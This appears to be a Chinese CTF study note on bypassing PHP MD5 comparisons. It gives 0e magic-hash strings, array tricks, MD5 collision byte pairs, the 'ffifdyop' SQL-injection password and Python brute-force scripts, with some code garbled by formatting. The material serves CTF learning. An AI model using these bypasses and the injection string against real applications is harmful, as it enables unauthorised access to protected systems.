MD5绕过 弱类型比较== 1 md5 ($a )==md5 ($b )&&$a !=$b
科学计数法 在PHP中 0e开头表示为科学计数法 0e后面的字母 会被当作零处理
1 2 3 4 5 6 7 8 9 10 11 12 13 QLTHNDT QNKCDZO PJNPDWY NWWKITQ NOOPCJF MMHUWUV MAUXXQC 240610708 s878926199a s155964671a s214587387a 0e215962017 0e1284838308
数组绕过 由于md5不能加密数组,在加密数组的时候会返回NULL
强类型比较=== 1 if ($_POST ['param1' ]!==$_POST ['param2' ]&&md5 ($_POST ['param1' ])===md5 ($_POST ['param2' ]))
0e绕过不能用了,因为强比较时,0exxx不再被当做科学计数法,而是被当做字符串
数组绕过 依然可以实现绕过?a[]=1&b[]=2
string类型的强类型比较 1 2 if ((string )$_GET ['a' ]!==(string )$_GET ['b' ] && md5 ($_GET ['a' ])===md5 ($_GET ['b' ]))
不能使用数组绕过了
1 2 3 4 5 6 7 8 9 10 11 12 13 a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2 b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2 URL编码形式 a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 原始二进制数据 $a="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x00\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\x55\x5d\x83\x60\xfb\x5f\x07\xfe\xa2"; $b="\x4d\xc9\x68\xff\x0e\xe3\x5c\x20\x95\x72\xd4\x77\x7b\x72\x15\x87\xd3\x6f\xa7\xb2\x1b\xdc\x56\xb7\x4a\x3d\xc0\x78\x3e\x7b\x95\x18\xaf\xbf\xa2\x02\xa8\x28\x4b\xf3\x6e\x8e\x4b\x55\xb3\x5f\x42\x75\x93\xd8\x49\x67\x6d\xa0\xd1\xd5\x5d\x83\x60\xfb\x5f\x07\xfe\xa2"; $data1=”\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x07\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\xf1\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\x72\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\x34\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\x28\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\xab\x6f\xf7\x2a\x70”; $data2=”\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x87\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\x71\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\xf2\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\xb4\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\xa8\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\x2b\x6f\xf7\x2a\x70”;
生成文件形式(脚本工具) linux 使用 md5collgen 碰撞生成两个 md5 值相同但内容不同的文件
使用 md5collgen 进行 MD5 碰撞实验碰撞
使用md5collgen进行MD5碰撞实验-CSDN博客
windows 可以下载 _fastcoll_,碰撞生成两个 md5 值相同但内容不同的文件
fastcoll:快速 MD5 碰撞生成器
fastcoll:快速MD5碰撞生成器_fastcoll软件-CSDN博客
双md5
MD5和双MD5以后的值都是0e开头的
1 2 3 4 0e215962017 CbDLytmyGm2xQyaLNhWn 770hQgrBOjrcqftrlaZk 7r4lGXCH2Ksu2JNT3BYM
但是我极客大挑战中的一个题目就没有通过,
1 md5 (md5 ($a ))!==md5 ($b )&&md5 (md5 ($a ))==md5 ($b )
我尝试上面的都不行,说是要求0e后要为全是数字,留个坑
特殊值 $a == md5($a)0e215962017的 MD5 值也是由 0e 开头,在 PHP 弱类型比较中相等
md5(0e215962017)=0e291242476940776845150308577824
NaN和INF NAN 和 INF,分别为非数字和无穷大,但是var_dump 一下它们的数据类型却是 double那么在 md5函数处理它们的时候,是将其直接转换为字符串 NAN和字符串 INF 使用的,但是它们拥有特殊的性质,它们与任何数据类型(除了 true)做强类型或弱类型比较均为 false,甚至 NAN=NAN 都是 false,但md5(‘NaN’)=md5(‘NaN’)为 true。
MD5($a,true)函数 1 $sql = "SELECT flag FROM flags WHERE password = '" .md5 ($password ,true )."'" ;
ffifdyop,md5(ffifdyop)后是276f722736c95d99e921722cf9ed621c 这个字符串前几位刚好是’ or ‘6<乱码>,or 后的内容是永真式
而 Mysql 刚好又会把 hex 转成 ascii 解释
因此拼接之后的形式是 $sql = “SELECT flag FROM flags WHERE password = ‘’ or ‘6XXXX’”;
这就是绕过 MD5 () 函数的万能密码
截断比较(部分比较) 给出一段 md5 值要求找到匹配的原码。一般使用爆破脚本
1 substr (md5 (?),0 ,5 )==='8ffb1'
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import hashlibfrom multiprocessing.dummy import Pool as ThreadPooldef md5 (s ): return hashlib.md5(str (s).encode('utf-8' )).hexdigest() keymd5 = '8ffb1' md5start = 0 md5length = 5 def findmd5 (sss ): key = sss.split(':' ) start = int (key[0 ]) end = int (key[1 ]) result = 0 for i in range (start, end): if md5(i)[0 :5 ] == keymd5: result = i print (result) break list =[] for i in range (10 ): list .append(str (10000000 *i) + ':' + str (10000000 *(i+1 ))) pool = ThreadPool() pool.map (findmd5, list ) pool.close() pool.join()
碰撞 粘了个大佬的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import multiprocessingimport hashlibimport randomimport stringimport sys CHARS = string.letters + string.digitsdef cmp_md5 (substr, stop_event, str_len,. start=0 , size=20 ): global CHARS while not stop_event.is_set(): rnds = '' .join(random.choice(CHARS) for _ in range (size)) md5 = hashlib.md5(rnds) value = md5.hexdigest() if value[start: start+str_len] == substr: print rnds stop_event.set () ''' #碰撞双md5 md5 = hashlib.md5(value) if md5.hexdigest()[start: start+str_len] == substr: print rnds+ "=>" + value+"=>"+ md5.hexdigest() + "\n" stop_event.set() ''' if __name__ == '__main__' : substr = sys.argv[1 ].strip() start_pos = int (sys.argv[2 ]) if len (sys.argv) > 1 else 0 str_len = len (substr) cpus = multiprocessing.cpu_count() stop_event = multiprocessing.Event() processes = [multiprocessing.Process(target=cmp_md5, args=(substr, stop_event, str_len, start_pos)) for i in range (cpus)] for p in processes: p.start() for p in processes: p.join()
参考文献 MD5函数常见绕过方式 – Jaren’s Blog
CTF]CTF中if (md5(md5($_GET[‘a’])) == md5($_GET[‘b’])) 的绕过 - 肖洋肖恩、 - 博客园
md5绕过 - Yolololololo - 博客园